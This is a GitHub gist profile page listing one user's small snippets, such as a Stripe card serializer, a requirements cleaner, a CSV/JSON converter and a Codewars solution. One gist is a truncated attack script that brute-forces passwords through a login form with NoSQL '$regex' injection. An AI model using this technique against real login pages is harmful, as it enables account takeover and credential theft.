Skip to content

Instantly share code, notes, and snippets.

View sevbo2003's full-sized avatar
👽
alien

Abdusamad sevbo2003

👽
alien
View GitHub Profile
@sevbo2003
sevbo2003 / requirements.txt
Created July 15, 2023 14:22
Simple script for scraping instagram post
selenium==4.10.0
@sevbo2003
sevbo2003 / serializers.py
Created February 5, 2023 12:16
stripe payment sample
from rest_framework import serializers
class CardPaymentSerializer(serializers.Serializer):
card_number = serializers.CharField(max_length=20)
exp_month = serializers.IntegerField()
exp_year = serializers.IntegerField()
cvc = serializers.IntegerField()
amount = serializers.IntegerField()
@sevbo2003
sevbo2003 / req-version-remover.py
Created December 2, 2022 20:03
The simple script to remove all version from `requirements.txt`
with open("requirements.txt") as myFile:
pkgs = myFile.read()
pkgs = pkgs.splitlines()
with open("result.txt", "w") as result:
for pkg in pkgs:
pkg = pkg.split('==')[0]
result.write(pkg + "\n")
@sevbo2003
sevbo2003 / brute-force-username-passwords.py
Created December 2, 2022 18:56
Brute-force login usernames and passwords from POST login
import requests
import string
url = "http://example.com"
headers = {"Host": "exmaple.com"}
cookies = {"PHPSESSID": "s3gcsgtqre05bah2vt6tibq8lsdfk"}
possible_chars = list(string.ascii_letters) + list(string.digits) + ["\\"+c for c in string.punctuation+string.whitespace ]
def get_password(username):
print("Extracting password of "+username)
params = {"username":username, "password[$regex]":"", "login": "login"}
@sevbo2003
sevbo2003 / csv-to-json.py
Created December 2, 2022 18:49
csv to json or vice versa convertor without any package
class make_double(str): # makes double quote
def __repr__(self):
return ''.join(('"', super().__repr__()[1:-1], '"'))
def csv_to_json(csvFile, jsonFile):
with open(csvFile, "r") as f:
first_line = f.readline().rstrip().split(",")
with open(jsonFile, "w", encoding='utf-8') as w:
s = []
from django.db import models
class Post(models.Model):
title = models.CharField(max_length=200)
content = models.TextField(max_length=200, unique=True)
def __str__(self):
return self.title
@sevbo2003
sevbo2003 / 6kyu.py
Created November 23, 2021 15:35
Codewars 6kyu question solution
"""
Given an array (arr) as an argument complete the function countSmileys that should return the total number of smiling faces.
Rules for a smiling face:
Each smiley face must contain a valid pair of eyes. Eyes can be marked as : or ;
A smiley face can have a nose but it does not have to. Valid characters for a nose are - or ~
Every smiling face must have a smiling mouth that should be marked with either ) or D
No additional characters are allowed except for those mentioned.